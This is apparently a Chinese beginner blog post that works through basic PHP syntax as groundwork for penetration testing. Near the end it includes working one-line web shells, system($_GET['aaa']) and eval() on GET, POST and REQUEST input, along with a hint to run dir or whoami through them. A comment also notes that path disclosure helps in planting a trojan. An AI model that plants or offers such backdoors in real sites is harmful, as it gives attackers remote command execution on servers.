渗透测试入门学习——php基础语法练习

最终效果(部分):

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <title>我的第一个php页面</title>
</head>
<body>

<h1>我的第一个php页面</h1>
<hr>

<?php
    echo "你好";
?>

<?php
    // echo "你好"; 单行注释
    /*
    echo "你好"; 多行注释
    */
    echo "Hello World!";
?>

<hr>
<!-- <p>这是html单行注释</p> -->
<?php
    echo "计算7+8的结果是";
    $x = 7;
    $y = 8;
    $z = $x + $y;
    echo $z;
?>

<hr>
<?php 
    echo "这是一个字符串变量";
    $text = "nihaoshijie";
    echo $text,'<br>';
    echo "长度是", strlen($text),'<br>';
    echo "查找字符串,返回位数从0开始,为", strpos("Hello world!121455556664782","555");
?>

<?php
    //移除变量
    unset($text);
    unset($x);
    unset($y);
    unset($z);
?>

<hr>
<?php
    //嵌套获取变量值
    $a = "b";
    $b = 2;
    echo $$a;
?>

<hr>
<?php
    //变量间引用传值
    $a = 999;
    $b = &$a;//取a的地址赋值给b,执行后a与b指向同一个内存区域
    $b = 888;
    echo $a,$b;
?>

<hr>
<?php
    //单双引号区别,双引号会经过解析,单引号会直接输出
    echo "a变量是$a",'<br>';
    echo 'a变量是$a';
    unset($a);
    unset($b);
?>

<hr>
<?php
    //定义php常量
    define('PI',3.14);
    const PII = 3.1415926;
    //定义特殊常量
    define('-_-','smile');
    //const -_- = 'smile'错误
?>

<?php
    //使用常量
    echo PI;
    //特殊常量的使用
    echo constant('-_-');
    //echo -_-;错误
?>

<hr>
<?php
    //系统常量
    echo PHP_VERSION;
    echo '<br>';
    echo PHP_INT_SIZE;
    echo '<br>';
    echo PHP_INT_MAX;
?>

<hr>
<?php
    //魔术常量,可用于信息收集,看路径特点,有无盘符区分服务器windos和linux系统,有针对进行攻击
    //windox文件名不区分大小写,linux严格区分大小写
    //FILE发现绝对路径可以配合其他手法写入木马
    echo __FILE__;
    echo '<br>';
    echo __LINE__;
    echo '<br>';
    echo __LINE__;
?>

<hr>
<?php
    $lll = 99;
    //超全局变量
    echo $GLOBALS["lll"];
?>

<hr>
<?php
    //几个重要的服务器信息变量
    echo $_SERVER["PHP_SELF"],'<br>';
    echo $_SERVER["SERVER_NAME"],'<br>';
    echo $_SERVER["HTTP_HOST"],'<br>';
    echo $_SERVER["HTTP_REFERER"],'<br>'; //从那里跳转
    echo $_SERVER["HTTP_USER_AGENT"],'<br>'; //浏览器信息
    echo $_SERVER["SCRIPT_NAME"],'<br>';
    echo '<br>';
    //遍历输出
    foreach($_SERVER as $x => $x_value){
        echo $x," : ",$x_value,'<br>';
    }
?>
<hr>

<?php
    //各种运算符和书写与C++很相近,不做过多练习
    $x = 10;
    $y = 6;
    echo "变量x是$x 变量y是$y",'<br>';
    $z = $x % $y;
    echo "x % y = $z",'<br>';
    unset($z);
    $z = $x * $y;
    echo "x * y = $z";
    unset($z);
?>

<hr>
<?php
    //关闭警告提醒
    error_reporting(0);
    //关闭警告提醒的另一种方法,用@()套住语句
    //数据类型转换,布尔型和C++一样,true为1,flase为0
    //php语言字符串转换有自己的规则,以字母为开头的永远为0,以数字为开头的取到字符串为止(到第二个小数点截止)
    $a = 'abcd1234.1.1';
    $b = '1234.1.1abcd';
    echo "变量a是$a,变量b是$b",'<br>';

    //自动转换
    echo "a + b = ",$a + $b,'<br>';
    echo "PS:进行算数+运算前先自动转换成数值类型再计算,会产生包含非数字字符的警告提醒",'<br>';

    //强制转换
    echo "a转换为float值为:",(float)$a,'<br>',"b转换为float值为:",(float)$b,'<br>';
?>

<hr>
<?php
    //判断数据类型,布尔型数据不能直接echo输出,要用var_dump输出
    var_dump(is_int($a));
    var_dump(is_string($b));
    unset($a);
    unset($b);
?>

<hr>
<?php
    //比较运算符同样和C++十分相似着重记忆===和==的区别
    //===是强等于,不仅数值相等类型也要相同
    //==是弱等于,只需数值相同即可,php是弱类型语言
    $x = 10;
    $y = 10.0;
    $z = 5;
    $a = "5";
    echo "x(整型):$x y(浮点型):$y z(整形):$z a(字符型):$a",'<br>';
    echo "x == y的结果为:";
    var_dump($x == $y);
    echo '<br>',"z == a的结果为:";
    var_dump($a == $z);
    echo '<br>',"x === y的结果为:";
    var_dump($x === $y);
    echo '<br>',"z === a的结果为:";
    var_dump($a === $z);
?>

<hr>
<?php
    //逻辑运算符和C++相似,也有短路特性
    var_dump($a > 5 && $z++);
    echo $z,'<br>';
    var_dump(!($x > 10) || $z++);
    echo $z;
    unset($a);
    unset($z);
    unset($x);
    unset($y);
?>

<hr>
<?php
    //连接运算符
    $a = 'World';
    $b = 666;
    $x = $a . $b;
    echo $x,'<br>';
    $y = 'Hello';
    $y .= $x;
    echo $y;
    unset($a);
    unset($b);
    unset($x);
    unset($y);
?>

<hr>
<?php
    //三目运算和C++也相似
    $a = 10;
    $b = $a >= 10 ? 100 : 0;
    echo $b;
?>

<hr>
<?php
    //自操作运算符和C++类似
    $a = 0;
    $b = 1;
    echo "自操作执行前:","a:$a b:$b",'<br>';
    echo "执行自操作:",$a++,++$b,'<br>';
    echo "自操作执行后:",$a,$b;
?>

<hr>
<?php
    //位运算符也和C++类似
    $a = 11;
    $b = 11111;
    echo $a & $b,'<br>';
    echo $a | $b,'<br>';
    echo $a ^ $b,'<br>';
    echo ~ $a,'<br>';
    echo $a<<3,'<br>';
    echo $a>>1,'<br>';
?>

<hr>
<?php
    //if else分支结构,同样和C++神似
    $a = 6;
    if($a >= 1 && $a <= 5){
        echo "今天上班";
    }
    elseif($a == 6 || $a == 7){
        echo "今天不上班";
    }
    else{
        echo "您输入的日期有误";
    }
?>

<hr>
<?php
    //switch分支结构
    $a = 6;
    switch ($a) {
        case '1':
            echo "今天周一";
            break;
        case '2':
            echo "今天周二";
            break;
        case '3':
            echo "今天周三";
            break;
        case '4':
            echo "今天周四";
            break;
        case '5':
            echo "今天周五";
            break;
        case '6':
            echo "今天周六";
            break;
        case '7':
            echo "今天周日";
            break;
        default:
            echo "输入错误";
            break;
    }
?>

<hr>
<?php
    //for循环结构
    for($i = 1; $i <= 5; $i++){
        echo "这是用for循环生成的第$i",'条数据<br>';
    }
?>

<hr>
<?php
    //while循环结构
    while($i > 0){
        $i--;
        echo "这是while循环,现在i是$i",'<br>';
    }
?>

<hr>
<?php
    //do-while循环结构
    do{
        $i++;
        echo "这是do里的语句,现在i是$i",'<br>';
    }
    while($i < 5);
?>

<hr>
<?php
    //函数写法
    function sum($x, $y){
        return $x + $y;
    }
    echo sum(8, 9);
?>

<hr>
<?php
    //数组用法
    echo "数组练习",'<br>';
    //定义数组
    $cars = array("Volvo","BMW","Toyota");
    //或者
    $cars_2[0] = "111";
    $cars_2[1] = "222";
    $cars_2[3] = "333";
    echo "直接输出:",$cars,'<br>';
    echo "输出第0个:",$cars[0],'<br>';
    echo "输出全部:",var_dump($cars),'<br>';
    echo "输出数组长度:",count($cars),'<br>';
    //遍历输出
    for($i = 0; $i < count($cars); $i++){
        echo $cars[$i],'<br>';
    }
?>

<hr>
<?php
    //关联数组
    echo "关联数组练习",'<br>';
    //定义数组
    $id = array("Peter"=>"101","Ben"=>"102","Joe"=>"103");
    //或者
    $id_2["Peter"] = "111";
    $id_2["Ben"] = "222";
    //输出
    echo $id_2["Peter"],'<br>';
    echo var_dump($id_2),'<br>';
    //遍历输出关联数组
    foreach($id as $x => $x_value){
        echo $x,'_',$x_value,'<br>';
    }
?>

<hr>
<?php
    //数组排序
    //升序排序,降序用rsort()
    $nums = array(1,5,48,5,42,36,5,22,43);
    for($i = 0; $i < count($nums); $i++){
        echo $nums[$i],',';
    }
    sort($nums);
    echo '<br>';
    for($i = 0; $i < count($nums); $i++){
        echo $nums[$i],',';
    }
    //关联数组排序
    //asort()根据值排序,降序为arsort()
    //ksort()根据键排序,降序为krsort()
    arsort($id);
    echo '<br>';
    foreach($id as $x => $x_value){
        echo $x,'_',$x_value,'<br>';
    }
?>

<hr>
<?php
    //可变函数
    function display(){
    //FUNCTION魔术常量可用来辅助进行黑盒测试
        echo __LINE__, '<br>', __FUNCTION__;
    }
    $func = 'display';
    $func();
    echo '<br>';
    //和C++类比可以自定义一些规则,比如C++中sort()可以自定义排序规则
    function sys_function($a, $b){
        //相当于user_function(10)
        return $a($b);
    }
    function user_function($x){
        return $x * $x * $x;
    }
    echo sys_function('user_function', 10);
    //匿名函数
    $hao = function(){
        echo '<br>',"你好";
    };
    $hao();
?>

<hr>
<?php
    //常见函数,两个涉及安全的函数eval()和system()
    $a = "123+";
    $b = "456";
    echo eval("return $a$b;"),'<br>';
    system("ipconfig");
?>

<hr>
<?php
    //后门木马
    //用get方式执行system(),URL后接?aaa=dir即可查看出系统目录whoami查看权限
    system($_GET['aaa']);
    //经典一句话木马
    eval($_GET['bbb']);
    eval($_POST['ccc']);
    //万用接受一句话木马
    eval($_REQUEST['ddd']);
?>

<hr>
<?php
    //class用法
    class test {
        function _print() {
            echo "class name is ", __CLASS__, '<br>';
            echo "function name is ", __FUNCTION__, '<br>';
        }
    }
    $t = new test();
    $t -> _print();
?>
</body>
</html>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值